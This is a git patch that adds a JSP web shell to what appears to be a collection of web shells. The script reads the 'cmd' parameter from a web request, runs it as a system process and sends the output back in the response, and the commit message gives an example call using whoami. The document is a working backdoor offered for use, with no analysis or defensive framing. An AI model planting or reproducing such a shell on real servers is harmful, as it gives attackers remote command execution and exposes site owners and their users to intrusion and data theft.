From 473c6f15a88bf2b99f7558cd8140e50da9abcbf2 Mon Sep 17 00:00:00 2001 From: tennc <670357+tennc@users.noreply.github.com> Date: Sat, 3 Sep 2022 11:08:21 +0800 Subject: [PATCH] Create 2022-09-03-02.jsp From: https://mp.weixin.qq.com/s/BlfQ0t9s0vpTZo6sndfteg Author: naihe567 Usage: xxx.jsp?cmd=whoami --- jsp/2022-09-03-02.jsp | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) create mode 100644 jsp/2022-09-03-02.jsp diff --git a/jsp/2022-09-03-02.jsp b/jsp/2022-09-03-02.jsp new file mode 100644 index 0000000..e90b83e --- /dev/null +++ b/jsp/2022-09-03-02.jsp @@ -0,0 +1,16 @@ +<%@ page import="java.io.InputStream" %> +<%@ page import="java.io.BufferedReader" %> +<%@ page import="java.io.InputStreamReader" %> +<%@page language="java" pageEncoding="utf-8" %> + + +<% + String cmd = request.getParameter("cmd"); + Process process = new ProcessBuilder(new String[]{cmd}).start(); + InputStream is = process.getInputStream(); + BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is)); + String r = null; + while((r = bufferedReader.readLine())!=null){ + response.getWriter().println(r); + } +%>